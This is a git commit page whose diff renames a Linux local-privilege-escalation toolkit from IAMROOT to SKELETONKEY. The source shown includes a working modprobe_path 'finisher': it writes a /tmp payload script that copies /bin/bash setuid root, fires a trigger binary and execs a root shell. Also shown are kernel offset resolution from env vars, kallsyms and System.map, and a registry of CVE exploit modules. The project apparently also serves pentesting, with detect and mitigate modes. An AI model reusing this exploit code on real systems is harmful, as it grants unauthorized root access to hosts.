rename: IAMROOT → SKELETONKEY across the entire project
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions

Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.

Changes:
  - All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
    values, docs, comments)
  - All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
  - iamroot.c → skeletonkey.c
  - modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
  - tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
  - Binary "iamroot" → "skeletonkey"
  - GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
  - .gitignore now expects build output named "skeletonkey"
  - /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
  - Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*

New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.

VERSION: 0.3.1 → 0.4.0 (breaking).

Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
This commit is contained in:
2026-05-16 22:43:49 -04:00
parent 9d88b475c1
commit 9593d90385
109 changed files with 1711 additions and 1701 deletions
+25 -25
View File
@@ -1,5 +1,5 @@
/*
* IAMROOT — shared finisher helpers
* SKELETONKEY — shared finisher helpers
*
* See finisher.h for the pattern split (A: modprobe_path overwrite,
* B: current->cred->uid).
@@ -30,7 +30,7 @@ static int write_file(const char *path, const char *content, mode_t mode)
return 0;
}
void iamroot_finisher_print_offset_help(const char *module_name)
void skeletonkey_finisher_print_offset_help(const char *module_name)
{
fprintf(stderr,
"[i] %s --full-chain requires kernel symbol offsets that couldn't be resolved.\n"
@@ -38,7 +38,7 @@ void iamroot_finisher_print_offset_help(const char *module_name)
" To populate them on this host, choose ONE of:\n"
"\n"
" 1) Environment override (one-shot, no host changes):\n"
" IAMROOT_MODPROBE_PATH=0x... iamroot --exploit %s --i-know --full-chain\n"
" SKELETONKEY_MODPROBE_PATH=0x... skeletonkey --exploit %s --i-know --full-chain\n"
"\n"
" 2) Make /boot/System.map-$(uname -r) world-readable (per-host):\n"
" sudo chmod 0644 /boot/System.map-$(uname -r) # if you have sudo\n"
@@ -54,26 +54,26 @@ void iamroot_finisher_print_offset_help(const char *module_name)
module_name, module_name);
}
int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
iamroot_arb_write_fn arb_write,
int skeletonkey_finisher_modprobe_path(const struct skeletonkey_kernel_offsets *off,
skeletonkey_arb_write_fn arb_write,
void *arb_ctx,
bool spawn_shell)
{
if (!iamroot_offsets_have_modprobe_path(off)) {
iamroot_finisher_print_offset_help("module");
return IAMROOT_EXPLOIT_FAIL;
if (!skeletonkey_offsets_have_modprobe_path(off)) {
skeletonkey_finisher_print_offset_help("module");
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!arb_write) {
fprintf(stderr, "[-] finisher: no arb-write primitive supplied\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Per-pid working paths so concurrent runs don't collide. */
pid_t pid = getpid();
char mp_path[64], trig_path[64], pwn_path[64];
snprintf(mp_path, sizeof mp_path, "/tmp/iamroot-mp-%d.sh", (int)pid);
snprintf(trig_path, sizeof trig_path, "/tmp/iamroot-trig-%d", (int)pid);
snprintf(pwn_path, sizeof pwn_path, "/tmp/iamroot-pwn-%d", (int)pid);
snprintf(mp_path, sizeof mp_path, "/tmp/skeletonkey-mp-%d.sh", (int)pid);
snprintf(trig_path, sizeof trig_path, "/tmp/skeletonkey-trig-%d", (int)pid);
snprintf(pwn_path, sizeof pwn_path, "/tmp/skeletonkey-pwn-%d", (int)pid);
/* Payload: chmod /bin/bash setuid root + drop a sentinel so we
* know it ran. Bash 4+ refuses to use its own setuid bit by
@@ -81,14 +81,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
char payload[1024];
snprintf(payload, sizeof payload,
"#!/bin/sh\n"
"# IAMROOT modprobe_path payload (runs as init/root via call_modprobe)\n"
"# SKELETONKEY modprobe_path payload (runs as init/root via call_modprobe)\n"
"cp /bin/bash %s 2>/dev/null && chmod 4755 %s 2>/dev/null\n"
"echo IAMROOT_FINISHER_RAN > %s 2>/dev/null\n",
"echo SKELETONKEY_FINISHER_RAN > %s 2>/dev/null\n",
pwn_path, pwn_path, pwn_path);
if (write_file(mp_path, payload, 0755) < 0) {
fprintf(stderr, "[-] finisher: write %s: %s\n", mp_path, strerror(errno));
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Unknown-format trigger: anything that fails the standard exec
@@ -97,7 +97,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
if (write_file(trig_path, "\x00", 0755) < 0) {
fprintf(stderr, "[-] finisher: write %s: %s\n", trig_path, strerror(errno));
unlink(mp_path);
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Build the kernel-side write payload: a NUL-terminated path to
@@ -114,7 +114,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
fprintf(stderr, "[-] finisher: arb_write failed\n");
unlink(mp_path);
unlink(trig_path);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
/* Fire the trigger by exec'ing the unknown binary. fork() so the
@@ -129,7 +129,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
waitpid(cpid, &st, 0);
} else {
fprintf(stderr, "[-] finisher: fork: %s\n", strerror(errno));
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
/* Modprobe runs asynchronously — give the kernel up to 3 s. */
@@ -146,14 +146,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
fprintf(stderr, "[-] finisher: payload didn't run within 3s (modprobe_path overwrite probably didn't land)\n");
unlink(mp_path);
unlink(trig_path);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
have_setuid:
if (!spawn_shell) {
fprintf(stderr, "[+] finisher: --no-shell — leaving setuid bash at %s\n", pwn_path);
unlink(mp_path);
unlink(trig_path);
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
fprintf(stderr, "[+] finisher: spawning root shell via %s -p\n", pwn_path);
fflush(stderr);
@@ -161,11 +161,11 @@ have_setuid:
execve(pwn_path, argv, NULL);
/* Only reached on execve failure. */
fprintf(stderr, "[-] finisher: execve(%s): %s\n", pwn_path, strerror(errno));
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
iamroot_arb_write_fn arb_write,
int skeletonkey_finisher_cred_uid_zero(const struct skeletonkey_kernel_offsets *off,
skeletonkey_arb_write_fn arb_write,
void *arb_ctx,
bool spawn_shell)
{
@@ -173,7 +173,7 @@ int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
fprintf(stderr,
"[-] finisher: cred_uid_zero requires an arb-READ primitive (to walk\n"
" the task list from init_task and find current). Modules with\n"
" only an arb-write should use iamroot_finisher_modprobe_path()\n"
" only an arb-write should use skeletonkey_finisher_modprobe_path()\n"
" instead — same root capability, simpler trigger.\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
+19 -19
View File
@@ -1,5 +1,5 @@
/*
* IAMROOT — shared finisher helpers for full-chain root pops.
* SKELETONKEY — shared finisher helpers for full-chain root pops.
*
* The 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
* write, slab UAF, etc.). The conversion to root is almost always one
@@ -21,11 +21,11 @@
* Pattern (B) needs a self-cred chase + multiple writes.
*
* Modules provide their own arb-write primitive via the
* iamroot_arb_write_fn callback; this file wraps the rest.
* skeletonkey_arb_write_fn callback; this file wraps the rest.
*/
#ifndef IAMROOT_FINISHER_H
#define IAMROOT_FINISHER_H
#ifndef SKELETONKEY_FINISHER_H
#define SKELETONKEY_FINISHER_H
#include <stdint.h>
#include <stddef.h>
@@ -35,7 +35,7 @@
/* Arb-write primitive: write `len` bytes from `buf` to kernel VA
* `kaddr`. Module-specific implementation. Returns 0 on success,
* negative on failure. `ctx` is opaque module state. */
typedef int (*iamroot_arb_write_fn)(uintptr_t kaddr,
typedef int (*skeletonkey_arb_write_fn)(uintptr_t kaddr,
const void *buf, size_t len,
void *ctx);
@@ -43,22 +43,22 @@ typedef int (*iamroot_arb_write_fn)(uintptr_t kaddr,
* groomed slab THEN call the trigger. The trigger is a separate fn
* because some modules need to re-spray before each write. NULL is
* acceptable if the arb-write is self-contained. */
typedef int (*iamroot_fire_trigger_fn)(void *ctx);
typedef int (*skeletonkey_fire_trigger_fn)(void *ctx);
/* Pattern A: modprobe_path overwrite + execve trigger. Caller has
* already populated `off->modprobe_path`. Implementation:
* 1. Write payload script to /tmp/iamroot-mp-<pid>
* 2. arb_write(off->modprobe_path, "/tmp/iamroot-mp-<pid>", 24)
* 3. Write unknown-format file to /tmp/iamroot-trig-<pid>
* 1. Write payload script to /tmp/skeletonkey-mp-<pid>
* 2. arb_write(off->modprobe_path, "/tmp/skeletonkey-mp-<pid>", 24)
* 3. Write unknown-format file to /tmp/skeletonkey-trig-<pid>
* 4. chmod +x both, execve() the trigger → kernel-call-modprobe
* → our payload runs as root → payload writes /tmp/iamroot-pwn
* → our payload runs as root → payload writes /tmp/skeletonkey-pwn
* and/or copies /bin/bash to /tmp with setuid root
* 5. Wait for sentinel file, exec'd the setuid-bash → root shell
*
* Returns IAMROOT_EXPLOIT_OK if we got a root shell back (verified
* via geteuid() == 0), IAMROOT_EXPLOIT_FAIL otherwise. */
int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
iamroot_arb_write_fn arb_write,
* Returns SKELETONKEY_EXPLOIT_OK if we got a root shell back (verified
* via geteuid() == 0), SKELETONKEY_EXPLOIT_FAIL otherwise. */
int skeletonkey_finisher_modprobe_path(const struct skeletonkey_kernel_offsets *off,
skeletonkey_arb_write_fn arb_write,
void *arb_ctx,
bool spawn_shell);
@@ -67,14 +67,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
* 1. Walk task linked list from init_task to find self by pid
* (this requires arb-READ too — not supplied here; B-pattern
* modules need to provide their own variant)
* For now this is a STUB returning IAMROOT_EXPLOIT_FAIL with a
* For now this is a STUB returning SKELETONKEY_EXPLOIT_FAIL with a
* helpful error. */
int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
iamroot_arb_write_fn arb_write,
int skeletonkey_finisher_cred_uid_zero(const struct skeletonkey_kernel_offsets *off,
skeletonkey_arb_write_fn arb_write,
void *arb_ctx,
bool spawn_shell);
/* Diagnostic: tell the operator how to populate offsets manually. */
void iamroot_finisher_print_offset_help(const char *module_name);
void skeletonkey_finisher_print_offset_help(const char *module_name);
#endif /* IAMROOT_FINISHER_H */
#endif /* SKELETONKEY_FINISHER_H */
+2 -2
View File
@@ -1,5 +1,5 @@
/*
* IAMROOT — kernel_range implementation
* SKELETONKEY — kernel_range implementation
*/
#include "kernel_range.h"
@@ -19,7 +19,7 @@ bool kernel_version_current(struct kernel_version *out)
if (uname(&u) < 0) return false;
/* Stash release string for callers that want to print it. We hold
* a single static buffer; not threadsafe but iamroot is single-
* a single static buffer; not threadsafe but skeletonkey is single-
* threaded today. */
snprintf(g_release_buf, sizeof(g_release_buf), "%s", u.release);
out->release = g_release_buf;
+4 -4
View File
@@ -1,5 +1,5 @@
/*
* IAMROOT — kernel version range matching
* SKELETONKEY — kernel version range matching
*
* Every CVE module needs to answer "is the host kernel in the affected
* range?". This file centralizes that.
@@ -17,8 +17,8 @@
* patch version is at or above the threshold.
*/
#ifndef IAMROOT_KERNEL_RANGE_H
#define IAMROOT_KERNEL_RANGE_H
#ifndef SKELETONKEY_KERNEL_RANGE_H
#define SKELETONKEY_KERNEL_RANGE_H
#include <stdbool.h>
#include <stddef.h>
@@ -56,4 +56,4 @@ bool kernel_version_current(struct kernel_version *out);
bool kernel_range_is_patched(const struct kernel_range *r,
const struct kernel_version *v);
#endif /* IAMROOT_KERNEL_RANGE_H */
#endif /* SKELETONKEY_KERNEL_RANGE_H */
+30 -30
View File
@@ -1,49 +1,49 @@
/*
* IAMROOT — core module interface
* SKELETONKEY — core module interface
*
* Every CVE module exports one or more `struct iamroot_module` entries
* via a registry function. The top-level dispatcher (iamroot.c) walks
* Every CVE module exports one or more `struct skeletonkey_module` entries
* via a registry function. The top-level dispatcher (skeletonkey.c) walks
* the global registry to implement --scan, --exploit, --mitigate, etc.
*
* This is intentionally a small interface. Modules carry the
* complexity; the dispatcher just routes.
*/
#ifndef IAMROOT_MODULE_H
#define IAMROOT_MODULE_H
#ifndef SKELETONKEY_MODULE_H
#define SKELETONKEY_MODULE_H
#include <stddef.h>
#include <stdbool.h>
/* Standard result codes returned by detect()/exploit()/mitigate().
*
* These map to top-level exit codes when iamroot is invoked with a
* These map to top-level exit codes when skeletonkey is invoked with a
* single-module operation:
*
* IAMROOT_OK exit 0 detect: not vulnerable / clean
* IAMROOT_VULNERABLE exit 2 detect: confirmed vulnerable
* IAMROOT_PRECOND_FAIL exit 4 detect: preconditions missing
* IAMROOT_TEST_ERROR exit 1 detect/exploit: error
* IAMROOT_EXPLOIT_OK exit 5 exploit: succeeded (root achieved)
* IAMROOT_EXPLOIT_FAIL exit 3 exploit: attempted but did not land
* SKELETONKEY_OK exit 0 detect: not vulnerable / clean
* SKELETONKEY_VULNERABLE exit 2 detect: confirmed vulnerable
* SKELETONKEY_PRECOND_FAIL exit 4 detect: preconditions missing
* SKELETONKEY_TEST_ERROR exit 1 detect/exploit: error
* SKELETONKEY_EXPLOIT_OK exit 5 exploit: succeeded (root achieved)
* SKELETONKEY_EXPLOIT_FAIL exit 3 exploit: attempted but did not land
*
* Implementation note: copy_fail_family's df_result_t shares these
* numeric values intentionally so the family code can return its
* existing constants without translation.
*/
typedef enum {
IAMROOT_OK = 0,
IAMROOT_TEST_ERROR = 1,
IAMROOT_VULNERABLE = 2,
IAMROOT_EXPLOIT_FAIL = 3,
IAMROOT_PRECOND_FAIL = 4,
IAMROOT_EXPLOIT_OK = 5,
} iamroot_result_t;
SKELETONKEY_OK = 0,
SKELETONKEY_TEST_ERROR = 1,
SKELETONKEY_VULNERABLE = 2,
SKELETONKEY_EXPLOIT_FAIL = 3,
SKELETONKEY_PRECOND_FAIL = 4,
SKELETONKEY_EXPLOIT_OK = 5,
} skeletonkey_result_t;
/* Per-invocation context passed to module callbacks. Lightweight for
* now; will grow as modules need shared state (host fingerprint,
* leaked kbase, etc.). */
struct iamroot_ctx {
struct skeletonkey_ctx {
bool no_color; /* --no-color */
bool json; /* --json (machine-readable output) */
bool active_probe; /* --active (do invasive probes in detect) */
@@ -52,8 +52,8 @@ struct iamroot_ctx {
bool full_chain; /* --full-chain (attempt root-pop after primitive) */
};
struct iamroot_module {
/* Short id used on the command line: `iamroot --exploit copy_fail`. */
struct skeletonkey_module {
/* Short id used on the command line: `skeletonkey --exploit copy_fail`. */
const char *name;
/* CVE identifier (or "VARIANT" if no CVE assigned). */
@@ -71,20 +71,20 @@ struct iamroot_module {
const char *kernel_range;
/* Probe the host. Should be side-effect-free unless ctx->active_probe
* is true. Return IAMROOT_VULNERABLE if confirmed,
* IAMROOT_PRECOND_FAIL if not applicable here, IAMROOT_OK if patched
* or otherwise immune, IAMROOT_TEST_ERROR on probe error. */
iamroot_result_t (*detect)(const struct iamroot_ctx *ctx);
* is true. Return SKELETONKEY_VULNERABLE if confirmed,
* SKELETONKEY_PRECOND_FAIL if not applicable here, SKELETONKEY_OK if patched
* or otherwise immune, SKELETONKEY_TEST_ERROR on probe error. */
skeletonkey_result_t (*detect)(const struct skeletonkey_ctx *ctx);
/* Run the exploit. Caller has already passed the --i-know gate. */
iamroot_result_t (*exploit)(const struct iamroot_ctx *ctx);
skeletonkey_result_t (*exploit)(const struct skeletonkey_ctx *ctx);
/* Apply a temporary mitigation. NULL if none offered. */
iamroot_result_t (*mitigate)(const struct iamroot_ctx *ctx);
skeletonkey_result_t (*mitigate)(const struct skeletonkey_ctx *ctx);
/* Undo --exploit (e.g. evict from page cache) or --mitigate side
* effects. NULL if no cleanup applies. */
iamroot_result_t (*cleanup)(const struct iamroot_ctx *ctx);
skeletonkey_result_t (*cleanup)(const struct skeletonkey_ctx *ctx);
/* Detection rule corpus — embedded so the binary is self-
* contained. Each may be NULL if this module ships no rules for
@@ -96,4 +96,4 @@ struct iamroot_module {
const char *detect_falco; /* falco rules content */
};
#endif /* IAMROOT_MODULE_H */
#endif /* SKELETONKEY_MODULE_H */
+22 -22
View File
@@ -1,5 +1,5 @@
/*
* IAMROOT — kernel offset resolution
* SKELETONKEY — kernel offset resolution
*
* See offsets.h for the four-source chain (env → kallsyms → System.map
* → embedded table). This implementation is deliberately small and
@@ -69,7 +69,7 @@ static const struct table_entry kernel_table[] = {
#define DEFAULT_CRED_EFF_OFFSET 0x740
#define DEFAULT_CRED_UID_OFFSET 0x4
const char *iamroot_offset_source_name(enum iamroot_offset_source src)
const char *skeletonkey_offset_source_name(enum skeletonkey_offset_source src)
{
switch (src) {
case OFFSETS_NONE: return "none";
@@ -117,42 +117,42 @@ static void read_distro(char *out, size_t sz)
/* ------------------------------------------------------------------
* Source 1: environment variables
* ------------------------------------------------------------------ */
static void apply_env(struct iamroot_kernel_offsets *o)
static void apply_env(struct skeletonkey_kernel_offsets *o)
{
const char *v;
uintptr_t a;
if ((v = getenv("IAMROOT_KBASE")) && parse_addr(v, &a)) {
if ((v = getenv("SKELETONKEY_KBASE")) && parse_addr(v, &a)) {
if (!o->kbase) o->kbase = a;
}
if ((v = getenv("IAMROOT_MODPROBE_PATH")) && parse_addr(v, &a)) {
if ((v = getenv("SKELETONKEY_MODPROBE_PATH")) && parse_addr(v, &a)) {
if (!o->modprobe_path) {
o->modprobe_path = a;
o->source_modprobe = OFFSETS_FROM_ENV;
}
}
if ((v = getenv("IAMROOT_POWEROFF_CMD")) && parse_addr(v, &a)) {
if ((v = getenv("SKELETONKEY_POWEROFF_CMD")) && parse_addr(v, &a)) {
if (!o->poweroff_cmd) o->poweroff_cmd = a;
}
if ((v = getenv("IAMROOT_INIT_TASK")) && parse_addr(v, &a)) {
if ((v = getenv("SKELETONKEY_INIT_TASK")) && parse_addr(v, &a)) {
if (!o->init_task) {
o->init_task = a;
o->source_init_task = OFFSETS_FROM_ENV;
}
}
if ((v = getenv("IAMROOT_INIT_CRED")) && parse_addr(v, &a)) {
if ((v = getenv("SKELETONKEY_INIT_CRED")) && parse_addr(v, &a)) {
if (!o->init_cred) o->init_cred = a;
}
if ((v = getenv("IAMROOT_CRED_OFFSET_REAL")) && parse_addr(v, &a)) {
if ((v = getenv("SKELETONKEY_CRED_OFFSET_REAL")) && parse_addr(v, &a)) {
if (!o->cred_offset_real) {
o->cred_offset_real = (uint32_t)a;
o->source_cred = OFFSETS_FROM_ENV;
}
}
if ((v = getenv("IAMROOT_CRED_OFFSET_EFF")) && parse_addr(v, &a)) {
if ((v = getenv("SKELETONKEY_CRED_OFFSET_EFF")) && parse_addr(v, &a)) {
if (!o->cred_offset_eff) o->cred_offset_eff = (uint32_t)a;
}
if ((v = getenv("IAMROOT_UID_OFFSET")) && parse_addr(v, &a)) {
if ((v = getenv("SKELETONKEY_UID_OFFSET")) && parse_addr(v, &a)) {
if (!o->cred_uid_offset) o->cred_uid_offset = (uint32_t)a;
}
}
@@ -162,8 +162,8 @@ static void apply_env(struct iamroot_kernel_offsets *o)
* the same "ADDR TYPE NAME" format).
* ------------------------------------------------------------------ */
static int parse_symfile(const char *path,
struct iamroot_kernel_offsets *o,
enum iamroot_offset_source tag)
struct skeletonkey_kernel_offsets *o,
enum skeletonkey_offset_source tag)
{
FILE *f = fopen(path, "r");
if (!f) return 0;
@@ -225,7 +225,7 @@ static int parse_symfile(const char *path,
* Source 4: embedded table — relative offsets, applied on top of kbase
* if we already have one.
* ------------------------------------------------------------------ */
static void apply_table(struct iamroot_kernel_offsets *o)
static void apply_table(struct skeletonkey_kernel_offsets *o)
{
if (!o->kernel_release[0]) return;
@@ -268,7 +268,7 @@ static void apply_table(struct iamroot_kernel_offsets *o)
/* ------------------------------------------------------------------
* Top-level resolve()
* ------------------------------------------------------------------ */
int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out)
int skeletonkey_offsets_resolve(struct skeletonkey_kernel_offsets *out)
{
memset(out, 0, sizeof *out);
@@ -313,7 +313,7 @@ int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out)
return critical;
}
void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
void skeletonkey_offsets_apply_kbase_leak(struct skeletonkey_kernel_offsets *off,
uintptr_t leaked_kbase)
{
if (!leaked_kbase) return;
@@ -322,18 +322,18 @@ void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
apply_table(off);
}
bool iamroot_offsets_have_modprobe_path(const struct iamroot_kernel_offsets *off)
bool skeletonkey_offsets_have_modprobe_path(const struct skeletonkey_kernel_offsets *off)
{
return off && off->modprobe_path != 0;
}
bool iamroot_offsets_have_cred(const struct iamroot_kernel_offsets *off)
bool skeletonkey_offsets_have_cred(const struct skeletonkey_kernel_offsets *off)
{
return off && off->init_task != 0 && off->cred_offset_real != 0
&& off->cred_uid_offset != 0;
}
void iamroot_offsets_print(const struct iamroot_kernel_offsets *off)
void skeletonkey_offsets_print(const struct skeletonkey_kernel_offsets *off)
{
fprintf(stderr, "[i] offsets: release=%s distro=%s\n",
off->kernel_release[0] ? off->kernel_release : "?",
@@ -341,10 +341,10 @@ void iamroot_offsets_print(const struct iamroot_kernel_offsets *off)
fprintf(stderr, "[i] offsets: kbase=0x%lx modprobe_path=0x%lx (%s)\n",
(unsigned long)off->kbase,
(unsigned long)off->modprobe_path,
iamroot_offset_source_name(off->source_modprobe));
skeletonkey_offset_source_name(off->source_modprobe));
fprintf(stderr, "[i] offsets: init_task=0x%lx (%s) cred_real=0x%x cred_eff=0x%x uid=0x%x (%s)\n",
(unsigned long)off->init_task,
iamroot_offset_source_name(off->source_init_task),
skeletonkey_offset_source_name(off->source_init_task),
off->cred_offset_real, off->cred_offset_eff, off->cred_uid_offset,
iamroot_offset_source_name(off->source_cred));
skeletonkey_offset_source_name(off->source_cred));
}
+17 -17
View File
@@ -1,5 +1,5 @@
/*
* IAMROOT — kernel offset resolution
* SKELETONKEY — kernel offset resolution
*
* The 🟡 PRIMITIVE modules each have a trigger that lands a primitive
* (heap-OOB write, UAF, etc.). Converting that to root requires
@@ -10,7 +10,7 @@
* Those addresses vary per kernel build. This file resolves them at
* runtime via a four-source chain:
*
* 1. env vars (IAMROOT_MODPROBE_PATH, IAMROOT_INIT_TASK, ...)
* 1. env vars (SKELETONKEY_MODPROBE_PATH, SKELETONKEY_INIT_TASK, ...)
* 2. /proc/kallsyms (only useful when kptr_restrict=0 or already root)
* 3. /boot/System.map-$(uname -r) (world-readable on some distros)
* 4. Embedded table keyed by `uname -r` glob (entries are
@@ -22,14 +22,14 @@
* pointing the operator at the manual workflow.
*/
#ifndef IAMROOT_OFFSETS_H
#define IAMROOT_OFFSETS_H
#ifndef SKELETONKEY_OFFSETS_H
#define SKELETONKEY_OFFSETS_H
#include <stdint.h>
#include <stdbool.h>
#include <stddef.h>
enum iamroot_offset_source {
enum skeletonkey_offset_source {
OFFSETS_NONE = 0,
OFFSETS_FROM_ENV = 1,
OFFSETS_FROM_KALLSYMS = 2,
@@ -37,13 +37,13 @@ enum iamroot_offset_source {
OFFSETS_FROM_TABLE = 4,
};
struct iamroot_kernel_offsets {
struct skeletonkey_kernel_offsets {
/* Host fingerprint */
char kernel_release[128]; /* uname -r */
char distro[64]; /* parsed from /etc/os-release ID= */
/* Kernel base — needed when offsets are relative-to-_text.
* Set by iamroot_offsets_apply_kbase_leak() after EntryBleed runs. */
* Set by skeletonkey_offsets_apply_kbase_leak() after EntryBleed runs. */
uintptr_t kbase;
/* Symbol virtual addresses (final, post-KASLR-resolution). */
@@ -58,9 +58,9 @@ struct iamroot_kernel_offsets {
uint32_t cred_uid_offset; /* offset of uid_t uid in cred (almost always 4) */
/* Where did each field come from. */
enum iamroot_offset_source source_modprobe;
enum iamroot_offset_source source_init_task;
enum iamroot_offset_source source_cred;
enum skeletonkey_offset_source source_modprobe;
enum skeletonkey_offset_source source_init_task;
enum skeletonkey_offset_source source_cred;
};
/* Best-effort resolution. Returns the number of critical fields
@@ -69,25 +69,25 @@ struct iamroot_kernel_offsets {
*
* Resolution chain is tried in order; later sources do NOT overwrite
* a field already set by an earlier source. */
int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out);
int skeletonkey_offsets_resolve(struct skeletonkey_kernel_offsets *out);
/* Apply a runtime-leaked kbase to any embedded-table entries that
* shipped as relative-to-_text offsets. Idempotent. */
void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
void skeletonkey_offsets_apply_kbase_leak(struct skeletonkey_kernel_offsets *off,
uintptr_t leaked_kbase);
/* Returns true if modprobe_path can be written (the simplest root-pop
* finisher). */
bool iamroot_offsets_have_modprobe_path(const struct iamroot_kernel_offsets *off);
bool skeletonkey_offsets_have_modprobe_path(const struct skeletonkey_kernel_offsets *off);
/* Returns true if init_task + cred offsets are known (the cred-uid
* finisher). */
bool iamroot_offsets_have_cred(const struct iamroot_kernel_offsets *off);
bool skeletonkey_offsets_have_cred(const struct skeletonkey_kernel_offsets *off);
/* For diagnostic logging — pretty-print what we resolved to stderr. */
void iamroot_offsets_print(const struct iamroot_kernel_offsets *off);
void skeletonkey_offsets_print(const struct skeletonkey_kernel_offsets *off);
/* Helper: return the name of the source enum. */
const char *iamroot_offset_source_name(enum iamroot_offset_source src);
const char *skeletonkey_offset_source_name(enum skeletonkey_offset_source src);
#endif /* IAMROOT_OFFSETS_H */
#endif /* SKELETONKEY_OFFSETS_H */
+9 -9
View File
@@ -1,5 +1,5 @@
/*
* IAMROOT — module registry implementation
* SKELETONKEY — module registry implementation
*
* Simple flat array. Resized in chunks of 16. We never expect more
* than a few dozen modules, so this is fine.
@@ -14,22 +14,22 @@
#define REGISTRY_CHUNK 16
static const struct iamroot_module **g_modules = NULL;
static const struct skeletonkey_module **g_modules = NULL;
static size_t g_count = 0;
static size_t g_cap = 0;
void iamroot_register(const struct iamroot_module *m)
void skeletonkey_register(const struct skeletonkey_module *m)
{
if (m == NULL || m->name == NULL) {
fprintf(stderr, "[!] iamroot_register: NULL module or unnamed module\n");
fprintf(stderr, "[!] skeletonkey_register: NULL module or unnamed module\n");
return;
}
if (g_count == g_cap) {
size_t new_cap = g_cap + REGISTRY_CHUNK;
const struct iamroot_module **n =
const struct skeletonkey_module **n =
realloc((void *)g_modules, new_cap * sizeof(*g_modules));
if (n == NULL) {
fprintf(stderr, "[!] iamroot_register: OOM\n");
fprintf(stderr, "[!] skeletonkey_register: OOM\n");
return;
}
g_modules = n;
@@ -38,18 +38,18 @@ void iamroot_register(const struct iamroot_module *m)
g_modules[g_count++] = m;
}
size_t iamroot_module_count(void)
size_t skeletonkey_module_count(void)
{
return g_count;
}
const struct iamroot_module *iamroot_module_at(size_t i)
const struct skeletonkey_module *skeletonkey_module_at(size_t i)
{
if (i >= g_count) return NULL;
return g_modules[i];
}
const struct iamroot_module *iamroot_module_find(const char *name)
const struct skeletonkey_module *skeletonkey_module_find(const char *name)
{
if (name == NULL) return NULL;
for (size_t i = 0; i < g_count; i++) {
+30 -30
View File
@@ -1,44 +1,44 @@
/*
* IAMROOT — module registry
* SKELETONKEY — module registry
*
* Global list of registered modules. Each family contributes via
* register_<family>_modules() called from iamroot main() at startup.
* register_<family>_modules() called from skeletonkey main() at startup.
*/
#ifndef IAMROOT_REGISTRY_H
#define IAMROOT_REGISTRY_H
#ifndef SKELETONKEY_REGISTRY_H
#define SKELETONKEY_REGISTRY_H
#include "module.h"
void iamroot_register(const struct iamroot_module *m);
void skeletonkey_register(const struct skeletonkey_module *m);
size_t iamroot_module_count(void);
const struct iamroot_module *iamroot_module_at(size_t i);
size_t skeletonkey_module_count(void);
const struct skeletonkey_module *skeletonkey_module_at(size_t i);
/* Find a module by name. Returns NULL if not found. */
const struct iamroot_module *iamroot_module_find(const char *name);
const struct skeletonkey_module *skeletonkey_module_find(const char *name);
/* Each module family declares one of these in its public header. The
* top-level iamroot main() calls them in order at startup. */
void iamroot_register_copy_fail_family(void);
void iamroot_register_dirty_pipe(void);
void iamroot_register_entrybleed(void);
void iamroot_register_pwnkit(void);
void iamroot_register_nf_tables(void);
void iamroot_register_overlayfs(void);
void iamroot_register_cls_route4(void);
void iamroot_register_dirty_cow(void);
void iamroot_register_ptrace_traceme(void);
void iamroot_register_netfilter_xtcompat(void);
void iamroot_register_af_packet(void);
void iamroot_register_fuse_legacy(void);
void iamroot_register_stackrot(void);
void iamroot_register_af_packet2(void);
void iamroot_register_cgroup_release_agent(void);
void iamroot_register_overlayfs_setuid(void);
void iamroot_register_nft_set_uaf(void);
void iamroot_register_af_unix_gc(void);
void iamroot_register_nft_fwd_dup(void);
void iamroot_register_nft_payload(void);
* top-level skeletonkey main() calls them in order at startup. */
void skeletonkey_register_copy_fail_family(void);
void skeletonkey_register_dirty_pipe(void);
void skeletonkey_register_entrybleed(void);
